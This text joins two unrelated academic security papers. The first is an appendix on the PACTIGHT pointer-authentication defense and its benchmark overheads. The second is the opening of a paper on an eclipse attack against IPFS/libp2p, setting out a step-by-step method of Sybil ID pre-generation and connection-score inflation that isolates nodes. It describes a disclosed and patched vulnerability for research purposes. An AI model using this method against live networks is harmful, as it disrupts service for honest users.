the metadata scheme that PACTIGHT proposes.

A.3 Instrumentation Statistics
Table 2 shows various instrumentation statistics for
PACTIGHT-CPI in SPEC CPU2006. These include
compilation time, binary size, the total and protected
number of loads and stores, and the number of instru-
mentations of pct_add_tag, pct_sign, pct_auth and
pct_rm_tag. As shown, PACTIGHT-CPI imposes a
marginal overhead in compilation time increase and bi-
nary size increase, 3.14% and 13.87%, respectively. For
some benchmarks, the overhead is not directly propor-
tional to the number of instrumentations. This is because
the instrumentations may be called several times in a
loop for example.

There are a few of these benchmarks that show zero
instrumentation. We investigated this and found that the
compiler optimizes out the sensitive load and store
instructions. Running PACTIGHT without compiler op-
timizations produces the instrumentations accordingly.
Thus, there are no false negatives with these benchmarks.

A.4 Analysis on High Overhead Benchmarks
Three benchmarks in SPEC CPU2006, namely
453.povray, 471.omnetpp and 483.xalancbmk, have
high performance overhead with PACTIGHT-CPI
than the rest of the benchmarks. In this section, we
analyze why these benchmarks have higher overhead
and suggest possible improvements.
453.povray. The overhead is mainly due to the loops
using sensitive data pointers inside. Specifically, the
struct Method_struct is one of the struct types in
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Benchmark
Name Compilation time Binary size Number

of stores

Number of
protected
stores

Percentage
of protected
stores

Number
of loads

Number
of protected
loads

Percentage
of protected
loads

Number of
pct_add_tag

Number of
pct_sign

Number of
pct_auth

Number of
pct_rm_tag

Vanilla PACTight Overhead Vanilla PACTight Overhead
400.perlbench (c) 318 366 15.09% 2616 2784 6.42% 15826 1083 6.84% 42753 9068 21.21% 310 1079 9064 46
401.bzip2 (c) 47 47 0.00% 208 240 15.38% 1754 11 0.63% 2602 150 5.76% 4 45 150 2
429.mcf (c) 25 25 0.00% 104 104 0.00% 252 0 0.00% 399 0 0.00% 0 0 0 0
433.milc (c) 120 122 1.67% 288 288 0.00% 889 16 1.80% 3201 35 1.09% 2 7 35 2
444.namd (c++) 114 115 0.88% 424 504 18.87% 2333 53 2.27% 6170 21 0.34% 41 64 21 35
445.gobmk (c) 286 297 3.70% 7696 8600 10.51% 4584 6 0.13% 17370 74 0.43% 8 10 74 6
447.dealII (c++) 1508 1516 0.53% 1488 1768 18.82% 41257 6204 15.04% 94791 8543 9.01% 2892 6745 8036 2867
450.soplex (c++) 408 434 6.37% 840 1072 27.62% 5409 254 4.70% 16665 724 4.34% 242 632 441 52
453.povray (c++) 625 653 4.48% 2496 3120 25.00% 15128 474 3.13% 25766 2247 8.72% 117 525 2029 36
456.hmmer (c) 141 148 4.96% 384 456 18.75% 3618 33 0.91% 8557 264 3.09% 16 28 264 16
462.libquantum (c) 32 33 3.13% 144 144 0.00% 270 0 0.00% 585 0 0.00% 0 0 0 0
458.sjeng (c) 61 62 1.61% 368 368 0.00% 1899 0 0.00% 3570 1 0.03% 1 1 1 1
464.h264ref (c) 296 304 2.70% 1248 1568 25.64% 11309 88 0.78% 27103 1659 6.12% 48 139 1663 11
470.lbm (c) 12 13 8.33% 104 104 0.00% 99 0 0.00% 269 0 0.00% 0 0 0 0
471.omnetpp (c++) 567 570 0.53% 2136 2528 18.35% 6007 1158 19.28% 8697 2890 33.23% 264 1206 2025 66
473.astar (c++) 34 35 2.86% 144 144 0.00% 708 0 0.00% 1191 2 0.17% 0 0 1 0
482.sphinx3 (c) 109 110 0.92% 384 416 8.33% 1421 20 1.41% 4716 152 3.22% 2 18 152 2
483.xalancbmk (c++) 3149 3624 15.08% 11184 19800 77.04% 39741 10834 27.26% 110595 35025 31.67% 3820 13207 33046 1065
Average/Total 3.14% 13.87% 152504 20234 13.27% 375000 60855 16.23% 7767 23706 57002 4207

Table 2: Instrumentation statistics for PACTIGHT-CPI in SPEC CPU2006.

453.povray that is considered to be sensitive. This struct
has a series of function pointers and is used like a virtual
function table. Pointers of type struct Method_struct
and its members are used in loop conditions and inside
loops. Since these pointers are sensitive, PACTIGHT-
CPI enforces protection on them. This means calling
pct_auth when they are dereferenced and re-adding the
PAC with pct_sign. This happens multiple times in one
loop iteration, causing extra overhead shown in Figure 8.
471.omnetpp and 483.xalancbmk. The main source of
the overhead is frequent virtual function call, much more
than other C++ benchmarks. For every virtual function,
PACTIGHT-CPI calls pct_auth to authenticate the vir-
tual function pointer and pct_sign to re-add the PAC.
Comparison to prior work. PACTIGHT-CPI’s over-
head in these three benchmarks is similar to the original
CPI [38]. Note that PACTIGHT-CPI has double the in-
strumentation, since it needs to authenticate and then re-
sign, whilst CPI would only compare with its metadata
with a single instrumentation. PARTS [43] does not eval-
uate SPEC CPU2006. Even though PTAuth [27] does
evaluate with a subset of the SPEC CPU2006 bench-
marks, they do not mention the performance numbers for
cc453.povray, 471.omnetpp and 483.xalancbmk. We
expect that these numbers would be quite high. PAC-
Stack [42] evaluates with SPEC CPU2017. Thus, we
could only compare definitively with the original CPI.
Possible improvement One of the main reasons over-
head is very high is because of instrumentation inside
loops. One could say that a possible solution would be
hoisting the authenticating and signing to be outside
loops, i.e., authenticate before entering a loop and sign
after the loop is done. In that way, authenticating and
signing would only be done once.
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Abstract
Peer-to-peer networks are an attractive alternative to classi-
cal client-server architectures in several fields of application
such as voice-over-IP telephony and file sharing. Recently,
a new peer-to-peer solution called the InterPlanetary File
System (IPFS) has attracted attention, with its promise of
re-decentralising the Web. Being increasingly used as a stand-
alone application, IPFS has also emerged as the technical
backbone of various other decentralised solutions and was
even used to evade censorship. Decentralised applications
serving millions of users rely on IPFS as one of their crucial
building blocks. This popularity also makes IPFS attractive
for large-scale attacks. We have identified a conceptual issue
in one of IPFS’s core libraries and demonstrate its exploita-
tion by means of a successful end-to-end attack. We evaluated
this attack against the IPFS reference implementation on the
public IPFS network, which is used by the average user to
share and consume IPFS content. The results obtained from
mounting this attack on live IPFS nodes show that arbitrary
IPFS nodes can be eclipsed, i.e. isolated from the network,
with moderate effort and limited resources. Compared to sim-
ilar works, we show that our attack scales well even beyond
current network sizes and can disrupt the entire public IPFS
network with alarmingly low effort. The vulnerability set de-
scribed in this paper has been assigned CVE-2020-109371.
Responsible disclosure procedures have led to mitigations be-
ing deployed. The issues presented in this paper were publicly
disclosed together with Protocol Labs, the company coordi-
nating the IPFS development in October 2020.

1 Introduction

Modern computer networks typically rely on one of two funda-
mental architectural models. The client-server model, which
is the predominating model in the World Wide Web (WWW),
clearly distinguishes network nodes into content providers
(i.e. servers) and content consumers (i.e. clients). In fields of
1 https://cve.mitre.org/cgi-bin/cvename.cgi?name=2020-10937

application, where a strict separation of roles is undesirable,
computer networks based on the peer-to-peer (P2P) model
have gained ground. Entities participating in P2P networks
are equal to a large extent, enabling decentralised applications.
This, in turn, makes it possible to escape centralised control
and governance as illustrated by cryptocurrencies such as
Bitcoin [19], and systems like Ethereum2, for example.

Recently, a new P2P-based solution called the InterPlane-
tary File System (IPFS) has attracted attention. IPFS defines it-
self as a “peer-to-peer hypermedia protocol designed to make
the web faster, safer, and more open”3. Developed by Proto-
col Labs4, the ambitious goal of IPFS is to re-decentralise the
WWW in order to relieve it from the drawbacks of classical
client-server-based architectures. To achieve this goal, IPFS
replicates and distributes content among participants.

During the past few years, IPFS has increasingly gained
traction. Protocol Labs reported a 30x growth in network size
in 2019 and millions of users every week consuming IPFS
content through their HTTP to IPFS gateway [13]. The report
also mentions hundreds of thousands of users actively partici-
pating in the IPFS core network and hundreds of individual
developers contributing every month to the IPFS code base
on GitHub.

At the same time, IPFS has also established itself as the
technical foundation for various other decentralised applica-
tions. For instance, IPFS acts as one of the enabling tech-
nologies for Filecoin [11], a cryptocurrency developed by
Protocol Labs, pitched as a robust foundation for humanity’s
information5. Filecoin has had one of the largest ever ini-
tial coin offerings (ICOs) to date, raising over $205Mio [1].
Amongst others, IPFS also serves as the technical foundation
of DTube6, a decentralised video platform with millions of ac-
tive daily users. Moreover, the cryptocurrency Ethereum will
be using libp2p, a key component of IPFS as the networking
layer for the Ethereum 2.0 network [23]. The growing rele-
vance of IPFS is also underpinned by the fact that the Opera
web browser has added native IPFS support on Android [2]
2 https://ethereum.org/en/ 3 https://ipfs.io
4 https://protocol.ai 5 https://filecoin.io
6 https://d.tube
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recently. Finally, IPFS has also been used to evade censorship.
For instance, after being declared illegal in 2017, the Cata-
lan independence movement used IPFS [10]. This increased
popularity leads to the general question of the resilience of
ungoverned, open P2P systems against attacks inherent to this
model.

In contrast to client-server settings, which enable service
operators to exert full control and apply a layered approach
to system and security architectures, decentralised P2P net-
works require a different mental model: Simply considering a
P2P network as a connectivity layer and taking the security
services they provide for granted is an ill-fated strategy. The
works of Heilman et al. [7], Marcus et al. [14] and Henningsen
et al. [8] aiming at Bitcoin and Ethereum have demonstrated
this in the past. Since every participant contributes to the
infrastructure of a P2P system, their behaviour on the appli-
cation layer (and incentives to alter it) has a direct impact
on the lower layers of the stack. Systems like IPFS, which
foster the deployment of arbitrary applications on top of an ab-
stract network fabric, have even more potential to fall victim
to this issue. The IPFS stack therefore provides a feedback
loop between application-layer actions and P2P network layer
to account for this and enable tighter vertical integration, al-
though we discovered that it still fails to do so in practice.
Contribution and Scope: This paper presents an end-to-end
eclipse attack on IPFS, exploiting a conceptual issue in a core
component of IPFS that compromises the system’s overall se-
curity. The attack is based on an abstract model, which allows
for attack cost estimations beyond IPFS’s current deployment
parameters and enables qualitative comparisons with other,
related attacks. We evaluated our attack against the IPFS ref-
erence implementation, go-ipfs, version 0.4.23 (released in
January 2020) and the decentralised P2P network spanned by
those nodes. In particular, our contribution is twofold:

Attack model We introduce an abstract P2P system model,
which allows quantifying the cost of P2P-specific at-
tacks.

Attack We demonstrate how this model applies in practice
by introducing the first known end-to-end eclipse attack
on IPFS. This attack enables an attacker to single out
network nodes of their choice, partition, and disrupt the
IPFS network.

Implementation We describe successful mounting of
the proposed attack on live IPFS nodes.

Evaluation We elaborate on the threat potential of the
attack, concluding that even modestly powerful
attackers can carry out the attack to disrupt the
whole public IPFS network.

Countermeasures We have reported our findings to
Protocol Labs, discussed mitigations with them,
which resulted in fixes being rolled out. While
the specific attack presented here has since been

mitigated, the hardening process is still ongoing,
highlighting the sustainable impact of this work on
systems used in production. IPFS 0.5 released in
May 2020 already includes a major rewrite of a
previously vulnerable core component. The 0.6.1
version of IPFS introduced a substantial number of
changes that further contribute to attack resiliency
and inflate the cost of our attack by several orders
of magnitude. The 0.7 version released in Septem-
ber 2020 finally breaks compatibility with older,
vulnerable releases.

The issue we uncovered is a conceptual one and thus has an
impact beyond IPFS itself. Actually weaponising this weak-
ness requires specific attack vectors, three of which were
discovered to affect the public DHT-based IPFS network,
which will be referred to as IPFS DHT in this paper. This is
the network a user will interact with when using the official
desktop or command-line IPFS distributions downloadable
from ipfs.io. A detailed explanation on this terminology is
provided as part of Section 4.

At the time of discovering the vulnerability enabling our
attack (April 2020), go-ipfs 0.4.23 was the most current re-
lease. Due to the modularity of IPFS and the wide use of
(parts of) it in other projects, our attack’s impact beyond the
public DHT-based IPFS network needs to be evaluated on a
per-project basis, which is beyond the scope of this work7.
However, as mitigations have been rolled out, other projects
already benefited from the fixes resulting from this work.
Paper Outline This paper is structured as follows. Ethi-
cal aspects are laid out in Section 2. Relevant background
information is provided in Section 3 to support an in-depth
understanding of our attack and its consequences. Details on
the attack itself are introduced in Section 4. Subsequently,
figures obtained from applying our attack on live IPFS nodes
to evaluate the attack’s feasibility are presented in Section 5.
Finally, we discuss potential countermeasures in Section 6, in-
troduce related scientific work in Section 7, and conclude the
paper in Section 8. Appendixes discuss details on implementa-
tions flaws, which made our attack possible, and also provide
in-depth technical information on the attack procedure.

2 Ethical Considerations and Responsible Dis-
closure

Mounting attacks on existing solutions used in practice and
publishing details on these attacks raises ethical issues. This
especially applies to the work presented in this paper, as we
have mounted our attack also on the live network for evalua-
tion purposes.

As potential security impacts of the found vulnerabilities
were apparent right after its discovery in April 2020, we im-
7 For example, the main attack vectors exploited for attacking the IPFS DHT
is not present in Filecoin, according to Protocol Labs.
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mediately contacted Protocol Labs, initiating a responsible
disclosure process. In the scope of this process, the vulner-
ability that serves as basis for our attack has been assigned
CVE-2020-109378. Furthermore, we have closely aligned
follow-up activities with Protocol Labs to prevent negative
impacts on the IPFS live network while conducting further
research.
We have only attacked nodes operated by ourselves or (with
explicit permission) nodes controlled by Protocol Labs, such
that impact on regular operations and honest users was pre-
vented. This way, nobody was harmed or put in danger. More
precisely, negative impacts have been prevented by the fol-
lowing measures:

• In general, attacks have been run only on self-operated
IPFS nodes to avoid negative effects on third-party
nodes.

• By attacking a single self-operated node at a time, con-
nectivity to this node was impaired, rendering only this
specific node invisible to the rest of the network. This has
no practical side effects, due to the inherent redundancy
of the network.

• When evaluating our attack on bootstrap nodes run by
Protocol Labs (see Section 5), only one was being at-
tacked. However, four out of eight nodes in total are
used for bootstrapping as of IPFS 0.5. Hence, running
our attack on one node provided tangible results without
causing adverse effects.

Protocol Labs actively supported our research, e.g. by mon-
itoring bootstrap nodes under attack and providing direct mon-
itoring of these nodes under attack. As this process was mon-
itored live by Protocol Labs, it could instantly be stopped
should anything go wrong causing (at worst) minutes of de-
graded service quality. Overall, the team at Protocol Labs
acted professionally, actively supported us in evaluating our
attack against core IPFS infrastructure, and invited further
research based on our discoveries. Public disclosure of the
found vulnerability has been coordinated with Protocol Labs
for October 2020 which included publishing an eprint version
of this paper’s original submission on arXiv.org and a blog
post on the official IPFS blog. At this point in time, a hard-
ened version of IPFS had been available for several months,
which includes mitigations and substantially raises the bar for
exploiting the vulnerability described in this work.

3 Preliminaries

This section provides the necessary background information
to ensure a comprehensive understanding of the attack de-
scribed in this paper. Section 3.1 thus provides a technical
8 https://cve.mitre.org/cgi-bin/cvename.cgi?name=2020-10937

overview on IPFS. In-depth technical details are introduced
in Section 3.2, which focuses on the library libp2p imple-
menting key functionality of IPFS and representing the core
target of our attack. Finally, Section 3.3 provides background
information on known attack vectors for P2P networks, which
have inspired our attack.

3.1 IPFS
From a technical perspective, IPFS is a distributed, content-
addressed file system, in which data is not identified by name
or path, but by its hash. IPFS stores all data in a decentralised
way overlaying the whole network with a Merkle directed
acyclic graph (DAG) [17] to create a navigable structure. All
content stored in the network and every node participating in
the network are assigned a unique identifier from the same flat
identifier (ID) space. Content IDs are derived directly from
the respective data by computing the data’s cryptographic
hash value. Peers, i.e. nodes participating in the network,
generate an asymmetric cryptographic key pair. The public
key serves as unique ID for the peer. The private key is used
by the peer to sign outgoing data in order to provide receiving
nodes evidence on its identity. In summary, IPFS builds on
the concepts of the Self-certifying File System introduced
by Mazières [16] and uses public-key cryptography for the
self-certification of objects.

In the absence any central authorities, secure and reliable
content and peer discovery is a key challenge. IPFS imple-
ments this functionality based on a Kademlia distributed
hash table (DHT) [3]. Accordingly, each node maintains its
own routing table containing information about neighbouring
nodes. This information is structured as binary tree contain-
ing mappings of node ID to network (IP) addresses. To find
a certain node or specific data, the node traverses its own
tree for the required ID. If it is able to discover the required
ID, the node can access the associated information using the
assigned network address. Otherwise, the node asks peers
that are closest to the sought-after information. As IPFS uses
Kademlia, the closest nodes can be found by means of its
exclusive OR (XOR) distance. This last step, i.e. finding the
closest nodes, can be repeated until the required node or in-
formation is found. This approach is proven to be efficient,
taking only O(log2(network-size)) many requests to locate
any content or node. This efficiency comes at the price of
limiting the amount of routing information that can be locally
stored. To compensate for this, IPFS features a data structure
called the swarm, which essentially keeps connections be-
yond the DHT. This is used for the main content-distribution
functionality of IPFS: First, the swarm is asked for data. If
someone in the swarm is able to provide it, discovering data
is a constant-time operation, if not, the DHT is used9.

IPFS has been designed to be fully open and decentralised,

9 https://github.com/ipfs/go-bitswap/blob/master/docs/how-b
itswap-works.md
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and is thus not guarded by a central authority. As a result,
anyone can join the network and identify themselves using a
generated asymmetric cryptographic key pair. This obvious
strength of IPFS is also one of its Achilles heels, facilitating
the attack proposed in this paper, as presented in Section 3.3.

3.2 libp2p
The library libp2p10 is a stand-alone project that was orig-
inally an integrated part of IPFS, but has since been exter-
nalised. It encompasses a DHT, transport abstractions and
other components required to build decentralised applica-
tions. In essence, libp2p serves as basis for various solutions
that require a P2P network. Moreover, it supports connect-
ing through network address translators (NATs) and to some
extent also supports browser-based environments using Web-
Sockets [6]. IPFS is one of many solutions that heavily rely
on libp2p and its P2P functionality.

The attack described in this paper employs a set of vulner-
abilities in libp2p. Accordingly, this is attack on libp2p rather
than on IPFS. However, we also exploit the way IPFS inter-
acts with libp2p to increase attack efficiency. Moreover, IPFS
is the largest public libp2p-based network, which also serves
as infrastructure layer for other decentralised services. Since
we mounted our attack on the IPFS reference implementation,
we refer to IPFS throughout this paper, although the attack
actually targets libp2p.
DHT As mentioned above, libp2p’s DHT is based on Kadem-
lia [15]. As of April 2020, libp2p mainly used connection-
oriented transport protocols like TCP. Consequently, nodes
are only kept in the local routing table as long as an active net-
work link to this node exists. The DHT’s binary tree structure
allows for a configurable number of nodes to occupy each
leaf of this tree. Leaves are referred to as k-buckets or simply
buckets. The bucket-size parameter is called k and is set to 20
in IPFS.

Tree branches can be merged and split on-demand in case
buckets are not fully occupied or become overfull. However,
the total number of nodes that can be kept in a local routing
table is limited according to Eq. (1). Currently, libp2p uses
SHA2-256 as cryptographic hash function to derive node and
content identifiers for DHT routing, which yields a 256-bit ID
space. Note that Kademlia proposes a least-recently seen evic-
tion strategy, should a bucket become overfull. When using
connection-oriented transport protocols, this is implemented
implicitly using transport-layer keep-alive messages. Thus,
newly connecting peers will only replace others, in case those
others become unresponsive.

RT size = bits(ID space)× k (1)

Another key feature provided by the DHT’s peer discovery
functionality, is bootstrapping: In order to initially join the

10 https://libp2p.io

network, the IP address of at least one node already partici-
pating in the network needs to be known. Once connected to
one such pre-known node, a newly joining peer queries this
bootstrap node’s routing table for their own ID. This prompts
a response containing the IDs and IP addresses of other nodes
known to the bootstrap node, which are closest to the newly
joining peer. As of version 0.4.23, IPFS comes pre-configured
with eight bootstrap nodes run by Protocol Labs.

Swarm IPFS raises the requirement to store connection
information that exceeds the DHT’s limited capacity. For this,
IPFS nodes make use of the so-called swarm. First and fore-
most, the swarm is the set of all currently active connections
and thus a superset of the connections stored in the DHT.
IPFS also uses the swarm to speed-up content discovery by
initially querying the whole swarm for content, prior to query-
ing the DHT11. On its own, the swarm is unbounded, which
could lead to resource exhaustion. To prevent this, a compo-
nent called the connection manager or ConnMgr is in place,
as described below.
ConnMgr The connection manager is provided by libp2p.
Its main job is to keep only a sensible number of open connec-
tions. This ensures that (a) resource exhaustion is prevented
and (b) content discovery and the overall P2P network flow
can operate efficiently.

Currently, libp2p features a single implementation of the
connection manager. This implementation traverses the set of
active connections (i.e. the swarm) once a minute. In the event
that more than a configurable threshold of connections are
open (referred to as the highWater mark), one connection at
a time is trimmed, until the second configured threshold (the
lowWater mark) of open connections is reached12. Recently-
established connections (within a configurable grace period)
are exempt from pruning. Starting with the libp2p version
that ships with IPFS 0.4.23, these connections do not count
towards the total number of active connections. This is crucial,
since it prevents a cheap attack where an attacker could con-
nect highWater many connections within the grace period to
have the ConnMgr unconditionally trim all older connections.

The main challenge with this approach is determining
which connections to trim. An abstract scoring system is
in place for this purpose, which is available to all compo-
nents interacting with libp2p. Any interacting component is
allowed to add a freely-definable tag to any active connection
and award points under this tag. The general idea behind this
approach is to keep highly useful connections open. For in-
stance, connections in the DHT are awarded points according
to Eq. 2. This effectively means that closer (according to their
XOR distance) nodes are awarded higher scores and are less
likely to be disconnected.

score = 5+ commonXORPrefixLen(remote ID,own ID) (2)

11 https://github.com/ipfs/go-bitswap/blob/master/docs/how-b
itswap-works.md#discovery 12 Whether these connections are incom-
ing or outgoing is irrelevant
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Other sources of points include a relaying subsystem part of
libp2p, which is used to help nodes behind firewalls connect
to the network: In short, any node can advertise themselves
as relay and offer multiplexing other nodes’ connections over
an already established link between target node and relay.
Points can also be awarded by the so-called Bitswap subsys-
tem, which is a core component implementing the content-
distribution strategy employed by IPFS [4].

While the applied scoring system is essential for the con-
nection manager’s functionality, it causes a potential vulner-
ability: If ways can be found to artificially inflate the score
of connections to a node, this node will less likely be discon-
nected, even if it behaves maliciously. The attack proposed in
this paper employs this vulnerability. As we have discovered,
Bitswap awards points even when receiving unsolicited data
blocks. This can easily result in more points than awarded
from some of the lower DHT buckets (those containing the
nodes that are farthest-away). Given that the swarm is a su-
perset of the DHT, this can lead to DHT connections being
trimmed in favour of non-DHT actively advertising data. The
relaying subsystem is another source of cheap points, as it
awards one point for each relayed connection, regardless of
its use to the node. In combination with IPFS’s inherent sus-
ceptibility to Sybil attacks (see Section 3.3), a node can be
manipulated into eclipsing itself from the honest network. As
we will show, it is possible to execute such a strategy at an
extremely low cost. It is important to note that this is a con-
ceptual flaw with the only variable being the actual resources
required to mount an attack.

3.3 Known Attack Strategies

IPFS is a fully open and decentralised solution with no central
coordinating or regulating authorities. These properties make
IPFS vulnerable to two different attack strategies, which are
not specific for IPFS, but apply to any P2P network with
comparable properties. The two attack strategies that make
use of these vulnerabilities have become known as Sybil and
eclipse attack.

In the Sybil attack [5], a single attacker presents itself to the
network as many seemingly independent nodes by generating
multiple identities. This can subvert any network operation
that works under the assumption of interacting with distinct,
non-colluding entities, such as the distributed routing protocol
itself. Due to its decentralised nature and openness, IPFS is
conceptually vulnerable to Sybil attacks.

The second prominent strategy to compromise P2P systems
is the eclipse attack [22]. In essence, the attacker manipulates
the local routing information of a node, such that any request
from or to the victim passes through nodes controlled by the
attacker. For a structured P2P network, this requires gener-
ating identifiers of a specific distance to the chosen victim’s
identifier. Since node identifiers in IPFS are hashed prior to

computing this distance, large numbers of IDs need to be
generated and tested to obtain IDs with suitable distances.
While this may seem infeasible, we show that a brute-force
approach to this problem actually scales well, enabling global
attacks even for large network sizes13 (see below). Once this
is done, as many nodes as required to eclipse a victim using
these IDs can be operated by applying a Sybil attack.

Any open and fully decentralised P2P network is vulnerable
to Sybil and eclipse attacks on a conceptual level. Fortunately,
a variety of countermeasures to these generic attack strategies
exist in practice, although as of version 0.4.23 (April 2020),
IPFS did not include any.

3.4 Abstract P2P Attack Model
The concepts discussed so far can be used to derive a generic
model for eclipse and Sybil attacks. Prünster et al. [20] laid out
theoretical background on this matter. The experience gained
from the end-to-end attack on IPFS and surveying related
work allowed us to put their theories to the test, and to expand
their work. This has resulted in a generic model, which can be
used to gauge the cost of attacking P2P systems. For the sake
of clarity, this paper focuses on ways to exploit this model
in the context of Kademlia-like designs. The model consists
of an attacker running Sybil nodes, which interface with a
target in order to eclipse it. Aside from communicating with
a target over the Internet, no other interactions are allowed,
although this may include attacker-controlled entities other
than Sybil nodes. This specifically rules out relying on bugs
present in the operating system or any other components not
related to the P2P network node implementation under attack.
Any flaws in the P2P system’s protocols, however, may be
exploited as these are considered part of the attack target. In
short, the node under attack is assumed to be configured and
operated as intended. We have identified the following model
parameters:

n network size (= number of nodes)

s100 number of Sybil identities, which need to be generated
to obtain enough identifiers, to fill a freely-selectable
network node’s routing table in order to eclipse it. Brute-
force generation of identifiers (which follows a uniform
distribution) is the only way to generate these identifiers.
s100 hence refers to the number of identifiers, which need
to be generated to reach this goal with 100% probability,
including a considerable safety margin.

e number of Sybil nodes, which need to be run to actually fill
these routing table spots

cs100 cost of Sybil identifier generation

ce cost of operating Sybil nodes required during an actual
attack on a single target

13 This scales, since only the network size is relevant, not the ID space.
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ca additional attack costs

ci total cost of attacking an individual node

ct total cost of attacking the whole system

The first parameters, s100 and e mainly depend on system
architecture and routing table organisation. Neither take run-
ning or up-front costs into account, but serve as foundation
required to estimate the actual attack costs. In the case of
Kademlia-like designs, the results obtained by Prünster et al.
[20] allow for estimating these parameters based on network
size (n) and bucket size (k), as shown in Eq. 3, and Eq. 4.

s100 ≈ 2× k×n (3)
e ≈ dk× log2(n)e (4)

The cost parameters, cs100 and ce, on the other hand, depend
to a great extent on implementation details and attack strat-
egy. Small networks, for example, may allow for all required
identifiers to be generated on-the-fly, which will result in cs100

incurring for every attack run. In general, however, cs100 can
be considered up-front costs, since a pool of pre-generated
identifiers can be reused for an arbitrary number of attack runs.
On the other hand, ce always corresponds to running costs,
since attack nodes need to be operated for as long as it takes
to successfully eclipse a target. Without any further actions to
speed up this process, ce is dependent on a network’s churn
rate14. As such, it can take days or even weeks to eclipse a
single node, which is why attacks on Bitcoin and Ethereum
utilised denial-of-service (DoS) attacks or relied on victims
restarting [7, 14]. These additional actions also incur costs,
which is reflected by parameter ca.

Section 4, and 5 put this model into context by illustrating
how we mounted and evaluated an end-to-end eclipse attack
on IPFS. As we will show, this model is flexible enough to
accommodate for different attack strategies and provides ways
to map network parameters to attack costs.

4 Eclipsing IPFS Nodes

If one node after another can be eclipsed from the rest of the
network and the amount of resources required to keep nodes
from reconnecting are low, even an average-powered attacker
can disrupt P2P networks that are as a whole many orders of
magnitude more powerful than the attacker. This work demon-
strates precisely this kind of attack against the live IPFS DHT.
We show how we can advance from attacking single nodes to
partitioning the network with negligible running costs. Our
implemented end-to-end attack is able to automatically poi-
son any node’s routing table on the main IPFS network within
minutes, regardless of the network’s churn rate and to fully
eclipse an average node in less than an hour with ≈ 75%
14 The churn rate is defined as the participant turnover in the network, i.e.
how fast participants join and leave the network.

probability (see Section 5). The only input required to start
the attack is a target node’s identifier, all other parameters
can be queried remotely. Moreover, IPFS uses a configurable,
but otherwise static set of nodes for bootstrapping. Poisoning
the bootstrap node’s routing tables (with potentially bogus
information) is therefore enough to keep any node that car-
ries out the bootstrap routine from ever interfacing with other
legitimate nodes15. At this point, partitioning the IPFS DHT
becomes possible.

4.1 Naïve Attack Strategy
The IPFS reference implementation, by default, combines
Bitswap (which does not reach beyond immediate swarm
connections) and DHT-based content routing to distribute data
and locate other nodes. The DHT component itself knows two
modes of operation: client mode, and full mode (also referred
to as server mode). Only those nodes presenting themselves as
operating the full DHT, and advertising themselves as directly
reachable on the IP network layer will be added to other
nodes’ local routing tables. The set of all nodes meeting these
requirements are critical for the public IPFS DHT. Disrupting
these nodes will also affect client-mode nodes, given that
‘In IPFS, the DHT is used as the fundamental component
of the content routing system’ [21]. A collapsing DHT will
have client-mode nodes rely purely on their immediate swarm
connections for content discovery (see Section 3.1). As an
immediate effect, the long tail of available data will no longer
be available. Maintaining a disrupted state, however, will have
severe effects: Eclipsing all DHT server-mode peers means
that all IP-layer information about honest nodes (which is
ultimately used to connect to nodes) will vanish from the DHT.
Therefore, it is sufficient to take out server-mode nodes to
also affect all clients. Henningsen et al. [9] found on average
44474 concurrently online server nodes for the live IPFS
DHT in early 2020. Of these 44474 nodes on average only
6.55% (about 3000 nodes) responded to connection attempts,
meaning the remainder of nodes are likely operated by private
individuals behind a NAT.

In accordance with the attack model introduced in Sec-
tion 3.4, a naïve attack strategy would require pre-generating
s100 = 2×20×3000 identifiers and subsequently operating
e = 20×dlog2(3000)e many Sybil nodes, which would con-
tinuously ping an attack target until they became resident
in the lowest dlog2(3000)e buckets of victim’s routing ta-
ble to replace all honest nodes in order to eclipse it. Our
experiments showed that it is possible to operate this many
(reduced-functionality) nodes for less than 0.01e/h includ-
ing VAT based on a cloud offer16. The time it would take to
reach this goal without further actions, however, is impossi-
ble to quantify, as it is effectively churn-dependent. Such a
wait-and-see approach to attacking is therefore unattractive in

15 unless measures beyond the default behaviour have been explicitly set up
16 https://www.hetzner.com/cloud
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Figure 1: Abstract end-to-end flow of eclipsing an IPFS node

general. ID pre-generation for this network size, on the other
hand, incurs such negligible cost, that it’s impossible to even
quantify.

Instead of following this wait-and-see approach and only
taking the theoretical characteristics of Kademlia into account,
we have chosen a different attack strategy, which is based on
exploiting a variety of weaknesses, resulting in the follow-
ing attack workflow, which also results in quantifiable attack
costs.

4.2 Fully Automated, End-to-End Eclipse At-
tacks on IPFS

In contrast to the naïve attack strategy, which depends purely
on network size and churn, we actively exploit the ConnMgr’s
behaviour described in Section 3.2. Nodes in the DHT are
awarded ConnMgr points in accordance with Eq. 2 (such that
closer nodes are scored higher) we do not limit identifier gen-
eration to s100, but try to pre-generate as many identifiers as
possible to fill far more buckets in an attack target’s DHT for
additional points. We found a sweet spot at pre-generating
≈ 146bn identifiers to fill the lowest 33+ buckets of any node,

requiring 29TB of disk space17. In addition, we also exploit
the fact that unsolicited advertisement of content results in
points awarded by the Bitswap subsystem. Doing so does
not incur any measurable cost. Moreover, the relaying sub-
system is a source of virtually unlimited points, since each
relayed connections is awarded one point. Therefore, fake
nodes, which provide no functionality can be operated solely
to relay their connection in order to inflate the score of other
nodes. As we have observed, a single link can support as
many as 1000 relayed connections.

We have mounted a fully automated, end-to-end attack on
IPFS based on these findings. In accordance with Fig. 1, the
attack consists of four phases: ID generation, setup phase,
attack phase, and a low-cost phase, which can be maintained,
once a victim has been eclipsed.

The actual attack is carried out by a stripped-down libp2p-
based node (to further reduce costs) that performs a Sybil
attack, which is then used to eclipse the target. This node
requires a set of pre-generated IDs (from the ID generation
step), that fit the victim’s DHT. The main attack loop then
consists of the following steps:

1. Establish as many connections to the target as possible,
each with one of the pre-generated identifiers, covering
the lowest 33+ buckets of the victim.

2. Establish additional connections with randomly gener-
ated identifiers to reach a total of highWater many ac-
tive connections. This ensures periodic trimming of con-
nections.

3. Messages are sent over each connection to inflate its
score, thus tricking the target’s ConnMgr into consider-
ing these connections to be more important than those
to honest nodes.

4. When the target’s ConnMgr trims connections to reach
lowWater many active connections, only legitimate con-
nections established within the grace period will survive.
All others will be pruned, leaving mostly those connec-
tions established by our malicious libp2p node, since we
previously tricked the target’s ConnMgr into consider-
ing our connections to be more important than those to
honest nodes.

Since we are able to exploit the ConnMgr to our advantage,
our connections will gradually fill up the target’s routing table
(this takes 2 minutes at most) as well as the swarm since hon-
est ones are pruned. When queried for content or other nodes,
our attacker nodes will filter out any information on other
(legitimate) nodes from responses to hinder the victim from

17 This covers network sizes far beyond any realistic bounds, awards sub-
stantial amounts of points without putting any strain on victim nodes during
an attack and scales well during identifier generation. Generating more iden-
